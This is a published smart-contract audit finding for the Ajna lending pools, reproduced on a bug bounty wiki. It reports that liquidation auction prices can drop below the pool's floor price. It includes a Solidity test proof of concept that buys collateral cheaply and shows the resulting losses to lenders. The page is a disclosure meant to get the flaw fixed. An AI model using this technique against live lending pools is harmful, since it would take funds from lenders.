Skip to content
Business logic Audit finding Advanced

Auction timers following liquidity can fall through the floor price causing pool insolvency

The auction price calculation for liquidated collateral does not respect the pool's floor price, so the price can fall below the value at which the debt was issued. An attacker can buy the collateral cheaply, leaving the pool unable to cover the original debt and causing losses for lenders.

CRYP70 Follow

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2023-01-ajna-judging/issues/76

Found by

CRYP70

Summary

When a borrower cannot pay their debt in an ERC20 pool, their position is liquidated and their assets enter an auction for other users to purchase small pieces of their assets. Because of the incentive that users wish to not pay above the standard market price for a token, users will generally wait until assets on auction are as cheap as possible to purchase however, this is flawed because this guarantees a loss for all lenders participating in the protocol with each user that is liquidated.

Vulnerability Detail

Consider a situation where a user decides to short a coin through a loan and refuses to take the loss to retain the value of their position. When the auction is kicked off using the kick() function on this user, as time moves forward, the price for puchasing these assets becomes increasingly cheaper. These prices can fall through the floor price of the lending pool which will allow anybody to buy tokens for only a fraction of what they were worth originally leading to a state where the pool cant cover the debt of the user who has not paid their loan back with interest. The issue lies in the _auctionPrice() function of the Auctions.sol contract which calculates the price of the auctioned assets for the taker. This function does not consider the floor price of the pool. The proof of concept below outlines this scenario:

Proof of Concept:

Solidity
    function testInsolvency() public {
        
        // ============== Setup Scenario ==============
        uint256 interestRateOne = 0.05 * 10**18;           // Collateral  // Quote (loaned token, short position)
        address poolThreeAddr = erc20PoolFactory.deployPool(address(dai), address(weth), interestRateOne);
        ERC20Pool poolThree = ERC20Pool(address(poolThreeAddr));
        vm.label(poolThreeAddr, "DAI / WETH Pool Three");

        // Setup scenario and send liquidity providers some tokens
        vm.startPrank(address(daiDoner));
        dai.transfer(address(charlie), 3200 ether);
        vm.stopPrank();

        vm.startPrank(address(wethDoner));
        weth.transfer(address(bob), 1000 ether);
        vm.stopPrank();

        // ==============================================


        // Note At the time (24/01/2023) of writing ETH is currently 1,625.02 DAI,
        // so this would be a popular bucket to deposit in.

        // Start Scenario
        // The lower dowm we go the cheaper wETH becomes - At a concentrated fenwick index of 5635, 1 wETH = 1600 DAI (Approx real life price)
        uint256 fenwick = 5635;

        vm.startPrank(address(alice));
        weth.deposit{value: 2 ether}();
        weth.approve(address(poolThree), 2.226 ether);
        poolThree.addQuoteToken(2 ether, fenwick); 
        vm.stopPrank();

        vm.startPrank(address(bob));
        weth.deposit{value: 9 ether}();
        weth.approve(address(poolThree), 9 ether);
        poolThree.addQuoteToken(9 ether, fenwick); 
        vm.stopPrank();

        assertEq(weth.balanceOf(address(poolThree)), 11 ether);


        // ======================== start testing ========================

        vm.startPrank(address(bob));
        bytes32 poolSubsetHashes = keccak256("ERC20_NON_SUBSET_HASH");
        IPositionManagerOwnerActions.MintParams memory mp = IPositionManagerOwnerActions.MintParams({
            recipient: address(bob),
            pool: address(poolThree),
            poolSubsetHash: poolSubsetHashes
        });
        positionManager.mint(mp);
        positionManager.setApprovalForAll(address(rewardsManager), true);
        rewardsManager.stake(1);
        vm.stopPrank();


        assertEq(dai.balanceOf(address(charlie)), 3200 ether);
        vm.startPrank(address(charlie)); // Charlie runs away with the weth tokens
        dai.approve(address(poolThree), 3200 ether);
        poolThree.drawDebt(address(charlie), 2 ether, fenwick, 3200 ether);
        vm.stopPrank();

        vm.warp(block.timestamp + 62 days);


        vm.startPrank(address(bob));
        weth.deposit{value: 0.5 ether}();
        weth.approve(address(poolThree), 0.5 ether);
        poolThree.kick(address(charlie)); // Kick off liquidation
        vm.stopPrank();

        vm.warp(block.timestamp + 10 hours);

        assertEq(weth.balanceOf(address(poolThree)), 9020189981190878108); // 9 ether


        vm.startPrank(address(bob));
        // Bob Takes a (pretend) flashloan of 1000 weth to get cheap dai tokens
        weth.approve(address(poolThree), 1000 ether);
        poolThree.take(address(charlie), 1000 ether , address(bob), "");
        weth.approve(address(poolThree), 1000 ether);
        poolThree.take(address(charlie), 1000 ether , address(bob), "");
        weth.approve(address(poolThree), 1000 ether);
        poolThree.take(address(charlie), 1000 ether , address(bob), "");
        weth.approve(address(poolThree), 1000 ether);
        poolThree.take(address(charlie), 1000 ether, address(bob), "");
        
        poolThree.settle(address(charlie), 100);
        vm.stopPrank();


        assertEq(weth.balanceOf(address(poolThree)), 9152686732755985308); // Pool balance is still 9 ether instead of 11 ether - insolvency. 
        assertEq(dai.balanceOf(address(bob)), 3200 ether); // The original amount that charlie posted as deposit


        vm.warp(block.timestamp + 2 hours);
        // users attempt to withdraw after shaken by a liquidation
        vm.startPrank(address(alice));
        poolThree.removeQuoteToken(2 ether, fenwick);
        vm.stopPrank();

        vm.startPrank(address(bob));
        poolThree.removeQuoteToken(9 ether, fenwick);
        vm.stopPrank();

        assertEq(weth.balanceOf(address(bob)), 1007664981389220443074); // 1007 ether, originally 1009 ether
        assertEq(weth.balanceOf(address(alice)), 1626148471550317418); // 1.6 ether, originally 2 ether

    }

Impact

An increase in borrowers who cant pay their debts back will result in a loss for all lenders.

Code Snippet

Tool used

Manual Review

Recommendation

It's recommended that the price of the assets on auction consider the fenwick(s) being used when determining the price of assets on loan and do not fall below that particular index. With this fix in place, the worst case scenario is that lenders can pruchase these assets for the price they were loaned out for allowing them to recover the loss.

Discussion

grandizzy

this is a design choice. however we're reconsidering the auction implementation to use a floor price

hrishibhat

Considering this issue a valid medium as there is a possible risk of funds lost for lenders under certain circumstances

The original report as published on Sherlock, by CRYP70. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The auction price calculation function does not consider the pool's floor price (the fenwick index), allowing the auction price to fall below the price at which the debt was issued.

Impact

Lenders may lose funds because the pool cannot cover the debt when auction prices fall below the floor price, leading to insolvency.

What the attacker needed

A borrower who defaults on a loan; the auction price falls below the pool's floor price; an attacker with funds to buy the collateral

The fix

The auction price should be calculated with consideration of the fenwick index and should not fall below that index.

How it was found

  1. A borrower takes a loan and then defaults.
  2. The liquidation is started by calling the kick function.
  3. After some time, the auction price drops below the pool's floor price.
  4. An attacker buys the collateral at the low price using the take function.
  5. The pool is left with less funds than needed to cover the debt, causing insolvency.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In a lending pool, if a borrower does not repay, their collateral is sold in an auction. The auction price drops over time to attract buyers. This report shows that the price can drop below the price at which the loan was originally made, so a buyer can get the collateral very cheaply. That means the pool does not get enough money back to repay lenders, and they lose money.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by CRYP70

View all

3 more disclosed reports, best first.

More from Ajna #2

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.